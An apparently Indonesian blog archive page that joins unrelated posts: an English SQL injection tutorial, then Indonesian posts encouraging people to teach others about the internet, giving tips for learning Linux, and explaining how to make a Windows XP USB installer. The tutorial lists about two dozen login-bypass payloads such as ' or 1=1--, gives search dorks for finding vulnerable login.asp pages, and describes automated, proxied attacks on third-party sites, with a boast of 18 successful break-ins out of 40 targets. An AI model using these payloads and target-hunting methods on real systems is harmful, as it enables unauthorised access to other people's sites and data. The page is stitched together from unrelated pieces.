Archives
SQL injection Basic Tutorial
One of the major problems with SQL is its poor security issues surrounding is the login and url strings.
this tutorial is not going to go into detail on why these string work as am not a coder i just know what i know and it works
If you are interested in this topic we have many articles related to SQL Injection also if you would like help with the topic
you can ask in our information security forum where thousands of members can help you.
SEARCH:
admin\login.asp
login.asp
with these two search string you will have plenty of targets to chose from...finding one thats vulnerable is another question
WHAT I DO :
first let me go into details on how i go about my research
i have gathered plenty of injection strings for quite some time like these below and have just been granted access to a test machine and will be testing for many variations and new inputs...legally cool...provided by my good friend Gsecur aka ICE..also an Astal member.. http://governmentsecurity.org "thanks mate" .. gives me a chance to concentrate on what am doing and not be looking over my shoulder
INJECTION STRINGS:HOW ?
this is the easiest part...very simple
on the login page just enter something like
user:admin (you dont even have to put this.)
pass:' or 1=1--
or
user:' or 1=1--
admin:' or 1=1--
some sites will have just a password so
password:' or 1=1--
infact i have compiled a combo list with strings like this to use on my chosen targets ....there are plenty of strings about , the list below is a sample of the most common used
there are many other strings involving for instance UNION table access via reading the error pages table structure
thus an attack with this method will reveal eventually admin U\P paths...but thats another paper
the one am interested in are quick access to targets
i tried several programs to use with these search strings and upto now only Ares has peformed well with quite a bit
of success with a combo list formatted this way,yesteday i loaded 40 eastern targets with 18 positive hits in a few minutes
how long would it take to go thought 40 sites cutting and pasting each string ??
combo example:
admin:' or a=a--
admin:' or 1=1--
and so on...it dont have to be admin can be anything you want... the most important part is example:' or 1=1-- this is our injection
string
now the only trudge part is finding targets to exploit...so i tend to search say google for login.asp or whatever
inurl:login.asp
index of:/admin/login.asp
like this: index of login.asp
result:
http://www3.google.com/search?hl=en&ie=ISO...G=Google+Search
17,000 possible targets trying various searches spews out plent more
now using proxys set in my browser i then click through interesting targets...seeing whats what on the site pages if interesting
i then cut and paste url as a possible target...after an hour or so you have a list of sites of potential targets like so
http://www.somesite.com/login.asp
http://www.another.com/admin/login.asp
and so on...in a couple of hours you can build up quite a list...reason i dont sellect all results or spider for login pages is
i want to keep the noise level low...my ISP.. well enough said...plus atm am on dial-up so to slow for me
i then save the list fire up Ares and enter (1) a proxy list (2)my target IP list (3)my combo list...start..now i dont want to go into
problems with users using Ares..thing is i know it works for me...
sit back and wait...any target vulnerable with show up in the hits box...now when it finds a target it will spew all the strings on that site as vulnerable...you have to go through each one on the site by cutting and pasting the string till you find the right one..but the thing is you know you CAN access the site ...really i need a program that will return the hit with a click on url and ignore false outputs
am still looking....thing is it saves quite a bit of time going to each site and each string to find its not exploitable.
there you go you should have access to your vulnerable target by now
another thing you can use the strings in the urls were user=? edit the url to the = part and paste ' or 1=1-- so it becomes
user=' or 1=1-- just as quick as login process
(Variations)
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
good luck
Read More..
Sekedar berbagi pengalaman dan pengetahuan tentang dunia IT, banyak sekali sekarang yang sudah mengenal teknologi khususnya Internet.Tapi untuk di Indonesia khususnya di pedesaan internet sangat jarang.Masih bisa mereka di bilang gaptek.Belum semua desa terpenuhi akan layanan internet karena fasilitas yang kurang memadai.untuk itu saya mengajak teman-teman sesama bloger untuk memberikan pengarahan,latihan,pembelajaran da apapaun yang berbau tekhnologi agar Indonesia dapat mengejar ketertinggalanya.Karena harus diakui perkembangan teknologi dunia sudah sangat berkembang.
Kita mulai dengan mengajari tetangga,adik,kaka agar mereka mengenal tentang dunia internet dan ajarkan mulai dari hal-hal yang kecil.Karena dari hal-hal yang kecil akan memberikan hal yg sangat bermanfaat bagi negara kita .Semoga teman-teman sesama bloger dapat mebagi ilmu.
BERSEDAKHLAH ILMU JIKA KALIAN TIDAK MAMPU BERSEDEKAH HARTA
K4kar0to
..Saya kesulitan mempelajari Linux, mohon saran agar saya dapat menguasai Linux secara cepat dan mudah ?...
TuxSebuah pertanyaan singkat dengan jawaban panjang. Sebenarnya tidak ada yang sulit di Linux jika Anda sudah memahami dasar-dasar pengoperasian sebuah OS komputer. Jika Anda sudah terbiasa bekerja dengan Windows, maka dalam waktu singkat Anda akan segera memahami dan menguasai Linux.
Kesulitan yang dihadapi para pemula umumnya berkisar seputar pemilihan distro Linux (...ya, ada ratusan 'jenis' Linux di hadapan Anda !...), pemartisian dan teknik instalasi (tetangga pusing, data di harddisknya hilang semua gara-gara coba instal Linux !...), dan pengaksesan file-file data yang sudah ada (...bagaimana nasib data di Windows saya ?...). Permasalahan selanjutnya adalah pemilihan program kerja dan teknis pemakaian utility sistem di Linux. Berikut tip-tip untuk Anda :
Tip 1 : Pilih distro populer
Ya, cari informasi dan dapatkan CD instalasi sebuah distro yang populer di lingkungan Anda. Jika banyak rekan pakai Linux Ubuntu, kenapa tidak ikut pakai Ubuntu. Jika warnet sebelah pakai Linux SuSE, ya cari CD SuSE, biar bisa chatting di warnet sebelah. Semakin populer distro pilihan Anda, semakin banyak rekan yang memahami dan siap membantu kesulitan Anda.
Tip 2 : Pakai Live CD
Apa itu Live CD ?... Ini adalah salah satu inovasi penggunaan sistem operasi Linux. Anda tidak perlu menginstalasikan Linux atau mengorbankan isi harddisk Anda untuk mengoperasikan Linux. Dengan Live CD, Anda dapat menjalankan Linux secara aman pada komputer Anda (baca: Windows) melalui sebuah keping CD. Anda tinggal membooting komputer dengan Live CD, tunggu sebentar, nah... operasikan 'komputer Linux' instan Anda.
Meskipun dijalankan dari sebuah keping CD, Anda dapat menggunakan program dan utility Linux secara lengkap dan normal seperti jika Anda mengoperasikan sebuah Linux yang terinstal di harddisk. Selesai sesi ber-Linux dengan Live CD, Anda dapat kembali menggunakan OS lama di harddisk,seperti sediakala.
Saat ini ada beberapa pilihan distro Linux Live CD (nah!). Bingung pilih Live CD? ingat Tip no. 1 Jika sudah familiar dengan teknik pengoperasian Linux, baru instalasikan Linux secara permanen pada harddisk Anda.
Tip 3 : Baca dan baca !
Anda kesulitan mendapatkan rekan yang tangguh di Linux ? Jangan putus asa, Linux menyediakan dokumentasi secara lengkap mengenai berbagai hal sesuai topik, teknik, atau program yang ingin Anda ketahui. Sebagian dokumentasi bahkan sudah disajikan dalam bahasa Indonesia.
Dewasa ini juga sudah tersedia buku-buku Linux, pilih (...dan beli) topik buku sesuai kebutuhan Anda. Alternatif lain, di internet tersedia beragam artikel dan panduan teknis mengenai penggunaan Linux yang siap Anda download secara gratis.
Tip 4 : Sedia payung sebelum hujan
Backup seluruh data di harddisk Anda sebelum menginstal Linux. Pada banyak kasus, karena salah langkah, seluruh isi harddisk musnah setelah mencoba menginstal Linux. Siapkan keping CD secukupnya atau pindahkan data ke harddisk lain.
Semua menjadi lebih mudah dan cepat jika Anda menginstal Linux pada harddisk kosong / baru, tapi jika tidak ada, maka backup data selalu disarankan. Jika Anda telah menempatkan data pada folder tersendiri, partisi tersendiri, atau bahkan harddisk tersendiri, maka prosedur pembackupan dan pemulihan data (jika diperlukan) akan menjadi mudah dan cepat. Namun, jika data Anda tersebar di berbagai pelosok folder, maka sekarang lah saatnya Anda belajar berdisiplin dalam mengelola data secara baik dan efisien. Lakukanlah sebelum semuanya terlambat.
Tip 5 : Buat apa repot ?
" ...Kenapa saya harus pusing memikirkan hal-hal teknis, pilih distro, partisi, instal, backup, apalagi ? Saya pakai Windows juga tidak pernah dipusingkan cara instal, pilih OS, aplikasi, bla bla. Semua sudah siap di PC baru ! Saya hanya ingin pakai Linux biar aman dari sweeping, saya hanya membutuhkan PC untuk membuat surat dan laporan-laporan rutin saja !...".
Begitu kira-kira ungkapan sang relasi. Ya, ada benarnya juga pemikiran ini. Anda tidak harus repot memikirkan hal-hal teknis untuk bekerja dengan komputer Linux. Di luar sana sudah banyak penyedia layanan teknis yang akan membantu proses peralihan sistem di kantor Anda. Sisihkan sedikit anggaran bagi persiapan sistem Linux di PC, dan Anda tinggal menggunakannya. Mudah seperti yang telah Anda lakukan saat memakai Windows.
Tip 6 : Banyak jalan menuju data
Sama seperti di Windows, Anda dapat bekerja dan memilih aplikasi tertentu untuk melakukan tugas tertentu. Anda hanya perlu mengetahui padan aplikasi dan alternatif-alternatif program yang bisa Anda gunakan. Linux memiliki beragam software untuk berbagai keperluan. Cara pengoperasiannya secara umum juga sama. Open, Close, Save, Copy, Paste, adalah istilah-istilah baku yang dapat Anda kenali di setiap program aplikasi, termasuk di Linux.
Sebagian besar aplikasi Linux mampu membaca dan mengolah jenis-jenis data yang telah Anda buat atau Anda miliki ketika memakai Windows. Misalnya file data olah dokumen, data olah angka, file presentasi, gambar, hingga koleksi film dan lagu. Lihat Tip 2 untuk membiasakan diri dengan aplikasi-aplikasi Linux.
Tip 7 : Siapkan kopi dan cemilan
Ini yang paling Anda perlukan jika memutuskan menginstal Linux sendiri dan mulai mencoba program / utility di Linux. Bisa jadi Anda akan berlama-lama di depan monitor hanya untuk menunggu progress bar di layar segera selesai, sementara Anda belum bisa memutar MP3 kesayangan.
1. Tancapkan USB flash disk ke salah satu port USB. Ingat-ingat posisi drive-nya. Apakah F:, G:, H:, dan sebagainya.
2. Saat Anda berada di posisi normal (desktop), masukkan CD instalasi Windows XP ke optical drive. Jika komputer menjalankan proses instalasi secara otomatis, batalkan saja dan tutup semua aplikasi yang tengah berjalan.
3. Unduh dan ekstrak aplikasi yang penulis berikan. Saran penulis, ekstrak seluruh isinya ke sebuah folder, semisal C:\USB.
4. Selanjutnya, buka folder di mana Anda mengekstrak aplikasi modul pembuat instalasi, kali ini kita ambil contoh C:\USB.
5. Jalankan file bernama "usb_prep8.bat" maka di layar monitor akan tampak jendela Command Prompt berisi macam-macam perintah. Jika sudah muncul tulisan "Press any key to continue," tekan sembarang tombol untuk konfirmasi.
6. Di layar akan muncul jendela PEtoUSB yang meminta Anda memformat USB flash disk Anda. Tak perlu mengubah setting apa pun, langsung klik Start untuk mulai proses format. Jawab konfirmasi sesuai kebutuhan Anda.
7. Jika sudah selesai, tutup jendela PEtoUSB (jangan menutup jendela Command Prompt yang tadi terbuka ketika Anda menjalankan usb_prep8.bat), maka di layar akan muncul opsi-opsi dari 0 hingga 5.
8. Gunakan opsi 1 untuk memilih sumber file instalasi yang nantinya akan disalin ke flash disk. Disini, tentukan di drive mana Anda menyimpan instalasi Windows XP. Pilih saja optical drive di mana sudah ada CD Windows XP di dalamnya, atau pilih folder pilihan Anda jika Anda telah menyalin file instalasi Windows XP ke folder tertentu.
9. Pilih opsi 3 untuk menentukan di mana Anda mencolok flash disk. Kalau flash disk Anda berada di drive F:, maka ketik F dan tekan ENTER. Jika drive G: maka ketik G dan tekan ENTER, begitu seterusnya berlaku untuk drive lain.
10. Selanjutnya pilih opsi 4 untuk mulai proses pembuatan modul instalasi yang nantinya akan disalin ke flash disk secara otomatis. Jawab apa pun konfirmasi yang muncul dengan Y atau YES atau OK atau bentuk persetujuan lain.
Selesai! Kini flash disk Anda telah siap digunakan untuk instalasi Windows XP! Silahkan melakukan setting pada BIOS subnotebook Anda, dan pilih Removeable Disk (atau apa pun nama lainnya) sebagai media pertama yang dijalankan saat booting.
